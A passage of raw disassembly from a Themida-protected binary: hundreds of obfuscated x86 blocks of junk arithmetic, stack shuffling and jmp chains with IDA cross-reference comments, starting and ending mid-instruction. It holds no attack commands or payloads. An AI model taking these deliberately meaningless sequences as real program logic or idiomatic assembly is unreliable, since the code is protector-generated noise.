5F8427E7h jmp loc_5A1EA2 ; --------------------------------------------------------------------------- loc_59E91A: ; CODE XREF: Themida_:005A0B17j pop edx mov ecx, [esp] add esp, 4 mov ch, bh push dword ptr [esp] pop ebx jmp loc_59ED77 ; --------------------------------------------------------------------------- loc_59E92F: ; CODE XREF: Themida_:0059ED89j sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp push esp pop dword ptr [esp] push esi mov esi, 4 add [esp+4], esi pop esi mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebx push esi mov esi, esp push ebx mov ebx, 4 add esi, ebx pop ebx sub esi, 4 xchg esi, [esp] jmp loc_5A0029 ; --------------------------------------------------------------------------- loc_59E98D: ; CODE XREF: Themida_:00593ECDj mov esi, 45B93C1Ah jmp loc_593212 ; --------------------------------------------------------------------------- loc_59E997: ; CODE XREF: Themida_:0059FE30j add bh, 80h sub al, bh pop ebx sub al, 7Dh sub al, bl add al, 7Dh add al, 9Ch mov bx, [esp] jmp loc_5A287F ; --------------------------------------------------------------------------- loc_59E9AE: ; CODE XREF: Themida_:00596D2Dj add esp, 4 jmp loc_598889 ; --------------------------------------------------------------------------- loc_59E9B6: ; CODE XREF: Themida_:005937C9j mov ecx, 0ADE3F58h mov edi, 415DEBBCh add edi, ecx pop ecx push ecx mov ecx, 4C3C2B15h sub edi, ecx pop ecx push edx jmp loc_59C09A ; --------------------------------------------------------------------------- loc_59E9D2: ; CODE XREF: Themida_:0059C99Fj add eax, 8140D429h sub ecx, 2C9B2AFFh sub ecx, 19DB4E09h add ecx, 1D7C16B6h add ecx, eax sub ecx, 1D7C16B6h add ecx, 19DB4E09h push edx mov edx, 62175960h inc edx add edx, 5F304C24h sub edx, 94AC7A86h add ecx, edx mov edx, [esp] add esp, 4 jmp loc_5922BB ; --------------------------------------------------------------------------- loc_59EA1A: ; CODE XREF: Themida_:00591BAAj and edi, 2B572F4Bh add edi, 0D5FDF702h add esi, edi pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_5A3072 ; --------------------------------------------------------------------------- loc_59EA3A: ; CODE XREF: Themida_:0059572Fj mov eax, esp jmp loc_59875D ; --------------------------------------------------------------------------- loc_59EA41: ; CODE XREF: Themida_:005952BAj sub esp, 4 jmp loc_591330 ; --------------------------------------------------------------------------- loc_59EA4C: ; CODE XREF: Themida_:0059C4B9j mov eax, esp add eax, 4 push esi push esi mov esi, esp jmp loc_5A113D ; --------------------------------------------------------------------------- loc_59EA5C: ; CODE XREF: Themida_:005A38B7j sub ebp, edi jmp loc_598775 ; --------------------------------------------------------------------------- loc_59EA63: ; CODE XREF: Themida_:00594AD4j sub esp, 4 mov [esp], ebp mov ebp, 4 add ecx, ebp jmp loc_59A52B ; --------------------------------------------------------------------------- loc_59EA78: ; CODE XREF: Themida_:0059AEBEj pop esp jmp loc_59667D ; --------------------------------------------------------------------------- loc_59EA7E: ; CODE XREF: Themida_:00590D0Aj push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_59051F ; --------------------------------------------------------------------------- loc_59EA8E: ; CODE XREF: Themida_:0059B47Cj add edx, edi push esi push eax push 75D961B8h jmp loc_599028 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_59486F ; --------------------------------------------------------------------------- loc_59EAA8: ; CODE XREF: Themida_:0059B20Dj push ebx mov ebx, 4 add edx, ebx pop ebx push ebp mov ebp, 2 add edx, ebp jmp loc_59E545 ; --------------------------------------------------------------------------- loc_59EABE: ; CODE XREF: Themida_:005A4005j mov cl, bh pop ebx and cl, 0C1h xor cl, 66h and cl, 0BCh jmp loc_593CEB ; --------------------------------------------------------------------------- loc_59EACF: ; CODE XREF: Themida_:005990CCj inc edi or edi, 179A5A86h dec edi push edx mov edx, 11A2697Fh and edi, edx pop edx jmp loc_5A24A0 ; --------------------------------------------------------------------------- loc_59EAE5: ; CODE XREF: Themida_:00597DCDj mov [esp], eax mov ah, 6Ch add ah, 9Dh xor bh, ah pop eax jmp loc_597F15 ; --------------------------------------------------------------------------- loc_59EAF5: ; CODE XREF: Themida_:00598CFAj add edx, eax jmp loc_5930D6 ; --------------------------------------------------------------------------- loc_59EAFC: ; CODE XREF: Themida_:00591A75j shr ecx, 2 sub ecx, 68344ACBh shl ecx, 7 jmp loc_594507 ; --------------------------------------------------------------------------- loc_59EB0D: ; CODE XREF: Themida_:0059431Bj sub ecx, 0D1E0F6A9h jmp loc_59B873 ; --------------------------------------------------------------------------- loc_59EB18: ; CODE XREF: Themida_:005A434Aj push edx mov dl, 0CAh push bx mov bl, 0A8h jmp loc_598895 ; --------------------------------------------------------------------------- loc_59EB24: ; CODE XREF: Themida_:005A2AE5j mov edx, 0E1C507Ch sub edx, 0DEAF0BC7h sub eax, 433288Ch jmp loc_590888 ; --------------------------------------------------------------------------- loc_59EB39: ; CODE XREF: Themida_:005A092Dj mov eax, 4 add ecx, eax pop eax jmp loc_59E8C5 ; --------------------------------------------------------------------------- loc_59EB46: ; CODE XREF: Themida_:00596E63j add ecx, 2135950h add ecx, 155F34BFh push dword ptr [esp] pop ebp jmp loc_59248E ; --------------------------------------------------------------------------- loc_59EB5B: ; CODE XREF: Themida_:0059AFB7j mov al, ch mov bh, al push dword ptr [esp] pop eax add esp, 4 mov [edi+eax*4+1], bh jmp loc_5948A8 ; --------------------------------------------------------------------------- loc_59EB72: ; CODE XREF: Themida_:00590E75j sub edi, esi add edi, 28B00529h pop esi push eax mov eax, 37BC6F84h dec eax jmp loc_5A4CE8 ; --------------------------------------------------------------------------- loc_59EB87: ; CODE XREF: Themida_:005A46D0j push ebx mov bh, al mov ch, bh pop ebx pop eax pop ebx push eax sub esp, 4 mov [esp], ebp push 5DAE3F24h pop ebp add ebp, 0A251C0DCh mov eax, ebp pop ebp add eax, 498644Ch add eax, edx sub eax, 498644Ch push ebx jmp loc_599118 ; --------------------------------------------------------------------------- loc_59EBB7: ; CODE XREF: Themida_:005A1A8Dj sub cl, al push dword ptr [esp] pop eax jmp loc_598410 ; --------------------------------------------------------------------------- loc_59EBC2: ; CODE XREF: Themida_:0059CE7Cj push dword ptr [esp] pop edi sub esp, 4 mov [esp], ecx jmp loc_591239 ; --------------------------------------------------------------------------- loc_59EBD4: ; CODE XREF: Themida_:00595191j push eax mov eax, 54B2312Ch sub edx, eax push dword ptr [esp] jmp loc_59987A ; --------------------------------------------------------------------------- loc_59EBE4: ; CODE XREF: Themida_:00595418j sub ebp, edi sub ebp, 644C225Eh pop edi sub dword ptr [esp+4], 537704B0h sub [esp+4], ebp add dword ptr [esp+4], 537704B0h push dword ptr [esp] pop ebp add esp, 4 jmp loc_591F1D ; --------------------------------------------------------------------------- loc_59EC10: ; CODE XREF: Themida_:0059DC80j push esp pop edi push ecx push esi mov esi, 610E6527h shr esi, 5 jmp loc_593CB5 ; --------------------------------------------------------------------------- loc_59EC21: ; CODE XREF: Themida_:0059A599j sub esp, 4 mov [esp], edx push eax sub esp, 4 mov [esp], ebx jmp loc_599712 ; --------------------------------------------------------------------------- loc_59EC33: ; CODE XREF: Themida_:005921CAj add esp, 4 jmp loc_5A0B94 ; --------------------------------------------------------------------------- loc_59EC3B: ; CODE XREF: Themida_:0059C933j pop esp jmp loc_596C73 ; --------------------------------------------------------------------------- loc_59EC41: ; CODE XREF: Themida_:00592B39j add ebx, 4 push 41BAh mov [esp], ebp jmp loc_595279 ; --------------------------------------------------------------------------- loc_59EC54: ; CODE XREF: Themida_:005A2E1Dj mov edx, [esp] add esp, 4 shl ecx, 8 jmp loc_59B048 ; --------------------------------------------------------------------------- loc_59EC65: ; CODE XREF: Themida_:005A487Fj push edx mov edx, esp add edx, 4 push eax mov eax, 4 sub edx, eax pop eax jmp loc_5A1C03 ; --------------------------------------------------------------------------- loc_59EC7C: ; CODE XREF: Themida_:005A082Cj push 37Ah jmp loc_59BC58 ; --------------------------------------------------------------------------- loc_59EC86: ; CODE XREF: Themida_:00597EAFj add eax, 6E182184h jmp loc_5A1DD8 ; --------------------------------------------------------------------------- loc_59EC90: ; CODE XREF: Themida_:005A19ABj sub eax, 10E34ABDh sub eax, edx add eax, 10E34ABDh pop edx jmp loc_59C641 ; --------------------------------------------------------------------------- loc_59ECA2: ; CODE XREF: Themida_:0059E200j sub esi, 0EAD7FD27h add eax, esi pop esi sub eax, 1ECF48D3h sub eax, 17C91145h add eax, 5E675877h sub eax, ebp sub eax, 5E675877h add eax, 17C91145h add eax, 1ECF48D3h sub eax, 5C2D547Eh push edi mov edi, esp jmp loc_59E3C7 ; --------------------------------------------------------------------------- loc_59ECD8: ; CODE XREF: Themida_:0059FCC9j mov esi, eax jmp loc_59C475 ; --------------------------------------------------------------------------- loc_59ECDF: ; CODE XREF: Themida_:005A189Ej sub dh, bl jmp loc_5A420D ; --------------------------------------------------------------------------- loc_59ECE6: ; CODE XREF: Themida_:00594609j not ebp xor ebp, 0D002D843h add ebx, ebp pop ebp add ebx, edi push edx mov edx, 856184Ch sub ebx, edx pop edx push ecx jmp loc_5924B3 ; --------------------------------------------------------------------------- loc_59ED02: ; CODE XREF: Themida_:005A0DB7j add edx, 1 jmp loc_5A2366 ; --------------------------------------------------------------------------- loc_59ED0D: ; CODE XREF: Themida_:0059C8E9j not eax jmp loc_5A031C ; --------------------------------------------------------------------------- loc_59ED14: ; CODE XREF: Themida_:0059A005j mov edi, 614C136Ah add eax, edi pop edi jmp loc_593B59 ; --------------------------------------------------------------------------- loc_59ED21: ; CODE XREF: Themida_:005A08B2j pop edi push edi push ebx mov ebx, 5883132Dh mov edi, ebx pop ebx add ebx, 25544CFBh add ebx, edi push esi mov esi, 348C7B2Fh shl esi, 2 shr esi, 1 inc esi add esi, 2D482A8Ch xor esi, 0B3356C10h add ebx, 0C7F4ADFh sub ebx, esi sub ebx, 0C7F4ADFh jmp loc_59B459 ; --------------------------------------------------------------------------- loc_59ED5F: ; CODE XREF: Themida_:0059FE56j mov eax, 2 add ecx, eax mov eax, [esp] add esp, 4 xor ecx, [esp] jmp loc_59E6BE ; --------------------------------------------------------------------------- loc_59ED77: ; CODE XREF: Themida_:0059E92Aj push ecx mov ecx, esp push eax jmp loc_5A2C95 ; --------------------------------------------------------------------------- loc_59ED80: ; CODE XREF: Themida_:00595BF1j push eax jmp loc_5929DF ; --------------------------------------------------------------------------- loc_59ED86: ; CODE XREF: Themida_:0059B043j mov eax, [esp] jmp loc_59E92F ; --------------------------------------------------------------------------- loc_59ED8E: ; CODE XREF: Themida_:005A1417j mov eax, [esp] jmp loc_598719 ; --------------------------------------------------------------------------- loc_59ED96: ; CODE XREF: Themida_:0059C28Bj shl edx, 1 push 4374h mov [esp], ecx jmp loc_598990 ; --------------------------------------------------------------------------- loc_59EDA5: ; CODE XREF: Themida_:0059A1E3j add ebp, 4 sub esp, 4 mov [esp], eax push esi mov esi, 45DC42EEh jmp loc_59412F ; --------------------------------------------------------------------------- loc_59EDBF: ; CODE XREF: Themida_:0059B8E3j add ecx, 4 push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx jmp loc_59E398 ; --------------------------------------------------------------------------- loc_59EDD3: ; CODE XREF: Themida_:005A48F9j sub edx, 3532046Dh add edx, 46022A5h add edx, eax sub edx, 46022A5h push ecx mov ecx, 0ACA6788h jmp loc_594379 ; --------------------------------------------------------------------------- loc_59EDF2: ; CODE XREF: Themida_:0059664Cj dec eax push edi push ebx mov ebx, 42337760h push ebx pop edi pop ebx sub edi, 1E065FCAh sub edi, 41B91D6Fh sub edi, 0E273FA28h add eax, edi pop edi dec eax sub eax, 3E505DEDh push esi mov esi, 2D993BE4h shl esi, 3 shl esi, 6 not esi add esi, 1402DD5h sub esi, 0D2F545A2h sub eax, esi pop esi add ebx, 1A5C07AFh add ebx, eax sub ebx, 1A5C07AFh pop eax add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_5A5767 ; --------------------------------------------------------------------------- loc_59EE54: ; CODE XREF: Themida_:00597693j add eax, 4 jmp loc_595433 ; --------------------------------------------------------------------------- loc_59EE5E: ; CODE XREF: Themida_:005A32D5j pop ebp neg ebx shr ebx, 8 jmp loc_5A2938 ; --------------------------------------------------------------------------- loc_59EE69: ; CODE XREF: Themida_:005A465Dj push edi mov edi, 2B4C3A60h add edi, 0C57C3FD1h add eax, edi pop edi push eax pop edx pop eax jmp loc_596637 ; --------------------------------------------------------------------------- loc_59EE80: ; CODE XREF: Themida_:00596F82j mov [esp], edi mov edi, esp push esi jmp loc_597F5F ; --------------------------------------------------------------------------- loc_59EE8B: ; CODE XREF: Themida_:005A2AA8j add esp, 2 mov cx, [esp] add esp, 2 sub bx, ax jmp loc_5A147D ; --------------------------------------------------------------------------- loc_59EEA0: ; CODE XREF: Themida_:00593387j mov edx, 0FD56CD97h add edx, esi jmp loc_59619F ; --------------------------------------------------------------------------- loc_59EEAC: ; CODE XREF: Themida_:005A3C51j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59EEC1: ; CODE XREF: Themida_:0059CD0Dj push 6D69h mov [esp], ebp mov ebp, 11C15C6Bh not ebp shr ebp, 4 neg ebp jmp loc_59AC7C ; --------------------------------------------------------------------------- loc_59EEDA: ; CODE XREF: Themida_:005A2CC9j add ebx, 53DE44F8h add ebx, 19E356C6h add ebx, 48A51AA2h jmp loc_5A2411 ; --------------------------------------------------------------------------- loc_59EEF1: ; CODE XREF: Themida_:0059779Aj add ebp, ecx mov ecx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_590BE0 ; --------------------------------------------------------------------------- loc_59EF04: ; CODE XREF: Themida_:005A4B4Aj shl ebx, 1 not ebx add ebx, 52D62660h add eax, ebx pop ebx mov edx, eax pop eax push ebp jmp loc_596022 ; --------------------------------------------------------------------------- loc_59EF1A: ; CODE XREF: Themida_:005A2FEAj mov esp, [esp] sub esp, 4 mov [esp], edi push esp pop edi push esi jmp loc_5A5028 ; --------------------------------------------------------------------------- loc_59EF2B: ; CODE XREF: Themida_:00599E84j add esp, 4 xchg ebp, [esp] pop esp mov [esp], esp push ecx push 4 pop ecx add [esp+4], ecx pop ecx pop eax push esi mov esi, 37C9068Ch not esi inc esi jmp loc_59D681 ; --------------------------------------------------------------------------- loc_59EF53: ; CODE XREF: Themida_:005A2B05j xor ebp, 326A5B55h add esi, ebp push dword ptr [esp] pop ebp add esp, 4 xchg esi, [esp] mov esp, [esp] jmp loc_5A393D ; --------------------------------------------------------------------------- loc_59EF6D: ; CODE XREF: Themida_:005A4709j pop edx mov ebx, eax mov eax, [esp] add esp, 4 push ebx not dword ptr [esp] jmp loc_59BBAD ; --------------------------------------------------------------------------- loc_59EF82: ; CODE XREF: Themida_:005A3D64j or eax, ebx jmp loc_5A5434 ; --------------------------------------------------------------------------- loc_59EF89: ; CODE XREF: Themida_:005A1671j pop ebx pop edx add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], ecx push ebx push 6A990609h mov ebx, [esp] add esp, 4 sub ebx, 4875B748h mov ecx, ebx push dword ptr [esp] pop ebx jmp loc_5958D6 ; --------------------------------------------------------------------------- loc_59EFD2: ; CODE XREF: Themida_:0059E6EBj mov ecx, 3B3F6F76h xor ecx, 0A13A0Dh xor edx, ecx jmp loc_5A295D ; --------------------------------------------------------------------------- loc_59EFE4: ; CODE XREF: Themida_:005926EBj mov ecx, 63247EACh xor ecx, 32D458E1h or ecx, 568140B8h push 2865h mov [esp], ebp mov ebp, 7654C85h jmp loc_59B42E ; --------------------------------------------------------------------------- loc_59F007: ; CODE XREF: Themida_:005978A4j mov ebp, 5F3E2324h mov ebx, ebp pop ebp push 7FEDh mov [esp], edi mov edi, 370F3542h and ebx, edi push dword ptr [esp] jmp loc_5A4419 ; --------------------------------------------------------------------------- loc_59F026: ; CODE XREF: Themida_:00591A3Cj pop eax xchg ebx, [esp] jmp loc_593DA9 ; --------------------------------------------------------------------------- loc_59F02F: ; CODE XREF: Themida_:00591D19j add esp, 4 pop dword ptr [esp] pop esp jmp loc_596C47 ; --------------------------------------------------------------------------- loc_59F03B: ; CODE XREF: Themida_:005949E9j sub [esp], edx jmp loc_590C99 ; --------------------------------------------------------------------------- loc_59F043: ; CODE XREF: Themida_:0059757Cj pop esp jmp loc_59801C ; --------------------------------------------------------------------------- loc_59F049: ; CODE XREF: Themida_:005A06DCj pop ebp push ebx mov ebx, 733778D1h dec ebx xchg esi, ebx not esi xchg esi, ebx shr ebx, 5 add ebx, 516B064Ch or edx, ebx pop ebx and edx, 49B370Fh push eax jmp loc_5945DC ; --------------------------------------------------------------------------- loc_59F06F: ; CODE XREF: Themida_:005A086Fj push eax mov eax, 4B0F3AB1h mov ebx, eax jmp loc_59B0B5 ; --------------------------------------------------------------------------- loc_59F07C: ; CODE XREF: Themida_:00592DC8j sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_59D192 ; --------------------------------------------------------------------------- loc_59F094: ; CODE XREF: Themida_:0059B643j pop ebx jmp loc_597CBB ; --------------------------------------------------------------------------- loc_59F09A: ; CODE XREF: Themida_:0059F864j sub cl, 0B5h jmp loc_591D70 ; --------------------------------------------------------------------------- loc_59F0A2: ; CODE XREF: Themida_:005A1CC6j add esp, 4 add ecx, ebp pop ebp sub ecx, 64820D05h add ecx, ebx jmp loc_5992F8 ; --------------------------------------------------------------------------- loc_59F0B8: ; CODE XREF: Themida_:0059538Aj mov ecx, [esp] jmp loc_59CC7D ; --------------------------------------------------------------------------- loc_59F0C0: ; CODE XREF: Themida_:00597B17j push ecx mov ecx, 2 sub edx, 518232C8h sub edx, 12526513h add edx, ecx add edx, 12526513h push esi jmp loc_599BB0 ; --------------------------------------------------------------------------- loc_59F0E0: ; CODE XREF: Themida_:0059F16Fj idiv cl movzx cx, ah jmp loc_598705 ; --------------------------------------------------------------------------- loc_59F0EB: ; CODE XREF: Themida_:0059CFFCj pop esp mov [esp], edx jmp loc_59AFEF ; --------------------------------------------------------------------------- loc_59F0F4: ; CODE XREF: Themida_:00594656j add [esp+4], esi jmp loc_592644 ; --------------------------------------------------------------------------- loc_59F0FD: ; CODE XREF: Themida_:0059AE60j mov edi, esp jmp loc_5951CB ; --------------------------------------------------------------------------- loc_59F104: ; CODE XREF: Themida_:005A172Dj add ebx, 43BF4B97h sub ebx, 0E646831h pop ebp xchg ebx, [esp] pop esp jmp loc_59AF50 ; --------------------------------------------------------------------------- loc_59F11A: ; CODE XREF: Themida_:0059A680j mov ecx, 2F47B9Fh xor ecx, 235B2220h inc ecx sub ecx, 24A21FE0h neg ecx xor ecx, 913F6679h sub ebp, 674F78F7h sub ebp, 439E37F1h jmp loc_5A4FD0 ; --------------------------------------------------------------------------- loc_59F145: ; CODE XREF: Themida_:00591EFEj jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59F14A: ; CODE XREF: Themida_:005998CAj and bp, 50B8h xor bp, 6452h mov di, bp jmp loc_598BC5 ; --------------------------------------------------------------------------- loc_59F15C: ; CODE XREF: Themida_:0059180Ej push edx jmp loc_5A2385 ; --------------------------------------------------------------------------- loc_59F162: ; CODE XREF: Themida_:005A07BFj pop esi add esp, 4 xchg eax, [esp] mov esp, [esp] jmp loc_59F0E0 ; --------------------------------------------------------------------------- loc_59F174: ; CODE XREF: Themida_:0059ABAEj pop ebp xor ebx, ecx push dword ptr [esp] pop ecx jmp loc_5A3BE5 ; --------------------------------------------------------------------------- loc_59F180: ; CODE XREF: Themida_:00598A24j push edi mov edi, 5A982F74h not edi not edi not edi xor edi, 0C347C2BEh mov edx, edi pop edi xchg ebx, edx jmp loc_59AD5C ; --------------------------------------------------------------------------- loc_59F19C: ; CODE XREF: Themida_:0059FC5Dj push 119Ah push esp jmp loc_590A31 ; --------------------------------------------------------------------------- loc_59F1A7: ; CODE XREF: Themida_:0059C9F5j not esi jmp loc_59BC0D ; --------------------------------------------------------------------------- loc_59F1AE: ; CODE XREF: Themida_:005A4DDBj push ecx mov ecx, 9974D6FBh sub edx, ecx pop ecx sub ebx, edx pop edx add ebx, edx jmp loc_59FED5 ; --------------------------------------------------------------------------- loc_59F1C1: ; CODE XREF: Themida_:0059A0E2j push 707Fh mov [esp], esi mov esi, 610C48E5h mov ebx, 610C48E1h jmp loc_591F6D ; --------------------------------------------------------------------------- loc_59F1D8: ; CODE XREF: Themida_:005A318Fj mov ebx, [esp] add esp, 4 shl ebx, 4 sub ebx, 0DCC54E0Fh mov ecx, ebx pop ebx push ecx mov ebx, [esp] add esp, 4 pop ecx jmp loc_593C6C ; --------------------------------------------------------------------------- loc_59F1FA: ; CODE XREF: Themida_:005937C3j imul cx, ax jmp loc_595993 ; --------------------------------------------------------------------------- loc_59F203: ; CODE XREF: Themida_:005A14B2j pop edi jmp loc_5A0994 ; --------------------------------------------------------------------------- loc_59F209: ; CODE XREF: Themida_:0059508Dj shl esi, 8 jmp loc_597CFB ; --------------------------------------------------------------------------- loc_59F211: ; CODE XREF: Themida_:00595EDAj mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5A06E1 ; --------------------------------------------------------------------------- loc_59F22B: ; CODE XREF: Themida_:00598B79j add esp, 4 sub eax, esi jmp loc_5A263D ; --------------------------------------------------------------------------- loc_59F238: ; CODE XREF: Themida_:0059D176j push dword ptr [esp+4] mov ebx, [esp] push ebp jmp loc_59CF4F ; --------------------------------------------------------------------------- loc_59F245: ; CODE XREF: Themida_:00599063j add ebx, 8977131h pop ebp xor edx, ebx pop ebx push esi push edx mov edx, 32ED603Eh inc edx neg edx shl edx, 2 sub edx, 2AFB2053h jmp loc_599829 ; --------------------------------------------------------------------------- loc_59F267: ; CODE XREF: Themida_:005A1E50j add esi, 23B178BFh add esi, ebx sub esi, 23B178BFh jmp loc_59ACEB ; --------------------------------------------------------------------------- loc_59F27A: ; CODE XREF: Themida_:005986E1j shr ecx, 8 shl ecx, 6 add ecx, 0D5D29C04h sub esi, ecx pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], ebx push dword ptr [esp+4] jmp loc_595AA1 ; --------------------------------------------------------------------------- loc_59F29F: ; CODE XREF: Themida_:00596108j xor ax, bx mov bx, [esp] push esi mov esi, esp sub esp, 4 mov [esp], eax mov eax, 18F37AD1h neg eax or eax, 199F72A0h neg eax xor eax, 493A33F4h xor eax, 3E3C1EC6h push edi mov edi, 17C75DA5h and edi, 3B4D5661h jmp loc_595AD1 ; --------------------------------------------------------------------------- loc_59F2D8: ; CODE XREF: Themida_:0059C21Dj mov [esp], ax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59F2E1: ; CODE XREF: Themida_:0059B3C3j add ebx, 3C237068h sub ebx, 61D111D0h pop edi jmp loc_592A53 ; --------------------------------------------------------------------------- loc_59F2F3: ; CODE XREF: Themida_:005A4CDAj push ebx push 2C380D9Fh mov ebx, [esp] add esp, 4 add eax, 4C334E16h add eax, 1D0858F9h sub eax, ebx sub eax, 1D0858F9h jmp loc_5A1C84 ; --------------------------------------------------------------------------- loc_59F315: ; CODE XREF: Themida_:005A1EB7j mov [esp], ebp mov ebp, 1 jmp loc_59D8B0 ; --------------------------------------------------------------------------- loc_59F322: ; CODE XREF: Themida_:005A1D1Ej mov eax, 2FA65B0h shr eax, 8 shl eax, 3 inc eax xor eax, 5FFDD1B6h sub edx, eax pop eax sub edx, 68BED0D4h mov ecx, edx pop edx mov ebp, ecx pop ecx jmp loc_5A2D71 ; --------------------------------------------------------------------------- loc_59F347: ; CODE XREF: Themida_:0059449Cj add eax, 17387764h jmp loc_594B12 ; --------------------------------------------------------------------------- loc_59F351: ; CODE XREF: Themida_:005958B1j push edx mov edx, 4 add ebx, edx pop edx add ebx, 4 jmp loc_5A4788 ; --------------------------------------------------------------------------- loc_59F365: ; CODE XREF: Themida_:005941AFj push dword ptr [esp] jmp loc_5A08C4 ; --------------------------------------------------------------------------- loc_59F36D: ; CODE XREF: Themida_:00597DB3j push ecx mov ecx, 66A34E9Eh and ebp, ecx pop ecx xor ebp, 0C1839AAh shr ebp, 2 push ebp add dword ptr [esp], 0FFFFFFFFh pop ebp add ebp, 0E451313Dh add eax, ebp push dword ptr [esp] pop ebp add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5A3381 ; --------------------------------------------------------------------------- loc_59F3AA: ; CODE XREF: Themida_:005A0568j push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5A08EC ; --------------------------------------------------------------------------- loc_59F3B7: ; CODE XREF: Themida_:005A3C24j pop ebp push esi mov esi, 19E356C6h sub ebx, esi mov esi, [esp] jmp loc_5A2CBE ; --------------------------------------------------------------------------- loc_59F3C8: ; CODE XREF: Themida_:0059DD6Bj sub esp, 4 jmp loc_5960AB ; --------------------------------------------------------------------------- loc_59F3D0: ; CODE XREF: Themida_:0059AE57j push ebx jmp loc_5A37B2 ; --------------------------------------------------------------------------- loc_59F3D6: ; CODE XREF: Themida_:0059B233j pop esi sub esp, 4 jmp loc_59352A ; --------------------------------------------------------------------------- loc_59F3DF: ; CODE XREF: Themida_:0059B5B7j neg ebp sub esp, 4 mov [esp], esi push ebp jmp loc_597D08 ; --------------------------------------------------------------------------- loc_59F3ED: ; CODE XREF: Themida_:0059E295j or edi, 18060FAAh jmp loc_59D9E2 ; --------------------------------------------------------------------------- loc_59F3F8: ; CODE XREF: Themida_:0059D2C5j push esp pop ebx push ecx push ebp mov ebp, 2C1B56BEh shl ebp, 7 jmp loc_59D74E ; --------------------------------------------------------------------------- loc_59F409: ; CODE XREF: Themida_:005A1E1Ej mov ebp, 531049FEh or ebp, 5027760Bh dec ebp shl ebp, 7 jmp loc_592FC5 ; --------------------------------------------------------------------------- loc_59F41D: ; CODE XREF: Themida_:005A47E1j add bl, 11h pop ecx movzx eax, al push dword ptr [edi+eax*4] push 6257h mov [esp], ebp jmp loc_5A2C4E ; --------------------------------------------------------------------------- loc_59F434: ; CODE XREF: Themida_:00599E52j add dword ptr [esp], 302B61B4h pop ebx jmp loc_598462 ; --------------------------------------------------------------------------- loc_59F441: ; CODE XREF: Themida_:0059058Cj pop ebp add ecx, 4 xchg ecx, [esp] pop esp add esi, 2 jmp loc_5A38CA ; --------------------------------------------------------------------------- loc_59F457: ; CODE XREF: Themida_:005A2638j mov eax, 4 add [esp+4], eax pop eax mov ebx, [esp] add esp, 4 add ebx, 4 push ecx jmp loc_59D547 ; --------------------------------------------------------------------------- loc_59F473: ; CODE XREF: Themida_:0059B68Ej xchg esi, [esp] jmp loc_594AB2 ; --------------------------------------------------------------------------- loc_59F47B: ; CODE XREF: Themida_:00599A13j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5988D8 ; --------------------------------------------------------------------------- loc_59F491: ; CODE XREF: Themida_:0059C867j std sub esp, 4 mov [esp], eax mov eax, 1B025D1h sub eax, 43DA5F14h push ecx mov ecx, 329248C2h push 0 sub [esp], ecx mov ecx, [esp] jmp loc_5A4BE9 ; --------------------------------------------------------------------------- loc_59F4B8: ; CODE XREF: Themida_:00599CE6j mov [esp], ecx mov ecx, 4 add edx, ecx jmp loc_591E02 ; --------------------------------------------------------------------------- loc_59F4C7: ; CODE XREF: Themida_:00591882j neg esi xor esi, 0D74036D1h jmp loc_59396F ; --------------------------------------------------------------------------- loc_59F4D4: ; CODE XREF: Themida_:005A377Cj push 3B0Dh mov [esp], eax push edx jmp loc_5A556F ; --------------------------------------------------------------------------- loc_59F4E2: ; CODE XREF: Themida_:005967B3j mov bx, dx mov edx, [esp] jmp loc_59597C ; --------------------------------------------------------------------------- loc_59F4ED: ; CODE XREF: Themida_:005A30AEj mov dl, bl pop ebx sub dl, 0ABh jmp loc_596988 ; --------------------------------------------------------------------------- loc_59F4F8: ; CODE XREF: Themida_:005A1E07j mov ebp, [esp] add esp, 4 xchg ebx, ebp jmp loc_592530 ; --------------------------------------------------------------------------- loc_59F508: ; CODE XREF: Themida_:00593300j push 781Fh jmp loc_5A56F0 ; --------------------------------------------------------------------------- loc_59F512: ; CODE XREF: Themida_:00596E2Ej add edx, esi pop esi add ebx, edx pop edx push esi jmp loc_593BC0 ; --------------------------------------------------------------------------- loc_59F51E: ; CODE XREF: Themida_:005A421Dj xchg edx, [esp] jmp loc_5A45AD ; --------------------------------------------------------------------------- loc_59F526: ; CODE XREF: Themida_:0059F9CCj add edi, 7DCE575Dh mov esi, edi jmp loc_5A2687 ; --------------------------------------------------------------------------- loc_59F533: ; CODE XREF: Themida_:0059A0F6j push 0 sub [esp], ah mov ah, [esp] add esp, 4 and ah, 58h sub ah, 58h mov cl, ah pop eax sub dl, cl pop cx add al, 8Ah sub al, dl jmp loc_5A3FFE ; --------------------------------------------------------------------------- loc_59F557: ; CODE XREF: Themida_:005A35B5j mov edi, [esp] add esp, 4 sub eax, ecx jmp loc_59D08A ; --------------------------------------------------------------------------- loc_59F564: ; CODE XREF: Themida_:005949D2j mov ebp, [esp] add esp, 4 add ebp, 1100461Ch jmp loc_598EFF ; --------------------------------------------------------------------------- loc_59F575: ; CODE XREF: Themida_:005A29B9j sub esi, 724264BEh add esi, 0A63BD980h sub ebx, 418D5194h add ebx, esi push eax mov eax, 418D5194h add ebx, eax pop eax pop esi push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 jmp loc_594B9E ; --------------------------------------------------------------------------- loc_59F5A6: ; CODE XREF: Themida_:0059D875j xchg ecx, [esp] jmp 